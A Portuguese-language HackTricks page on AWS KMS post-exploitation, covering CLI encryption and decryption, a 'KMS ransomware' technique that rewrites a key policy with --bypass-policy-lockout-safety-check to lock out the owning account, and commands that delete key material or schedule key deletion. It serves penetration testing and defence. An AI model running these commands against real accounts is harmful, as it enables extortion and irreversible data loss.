AWS - KMS Post Exploitation

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

KMS

Para mais informações, confira:

AWS - KMS Enum

Criptografar/Descriptografar informações

Observe que se você quiser descriptografar alguns dados dentro de um arquivo, o arquivo deve conter os dados binários, não dados codificados em base64.

  • Usando uma chave simétrica

# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Usando uma chave assimétrica:

# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Um atacante com acesso privilegiado ao KMS poderia modificar a política do KMS das chaves e conceder acesso à sua conta sobre elas, removendo o acesso concedido à conta legítima.

Assim, os usuários da conta legítima não poderão acessar nenhuma informação de qualquer serviço que tenha sido criptografado com essas chaves, criando um ransomware fácil, mas eficaz, sobre a conta.

Note que as chaves gerenciadas pela AWS não são afetadas por este ataque, apenas as chaves gerenciadas pelo cliente.

Também note a necessidade de usar o parâmetro --bypass-policy-lockout-safety-check (a falta desta opção na console web torna este ataque possível apenas a partir da CLI).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Observe que se você alterar essa política e der acesso apenas a uma conta externa, e então, a partir dessa conta externa, tentar definir uma nova política para dar o acesso de volta à conta original, você não conseguirá.

Ransomware Genérico KMS

Ransomware KMS Global

Há outra maneira de realizar um ransomware KMS global, que envolveria os seguintes passos:

  • Criar uma nova chave com um material de chave importado pelo atacante

  • Recriptografar dados mais antigos criptografados com a versão anterior com a nova.

  • Excluir a chave KMS

  • Agora, apenas o atacante, que possui o material de chave original, poderia ser capaz de descriptografar os dados criptografados

Destruir chaves

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Observe que a AWS agora impede que as ações anteriores sejam realizadas de uma conta cruzada:

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Last updated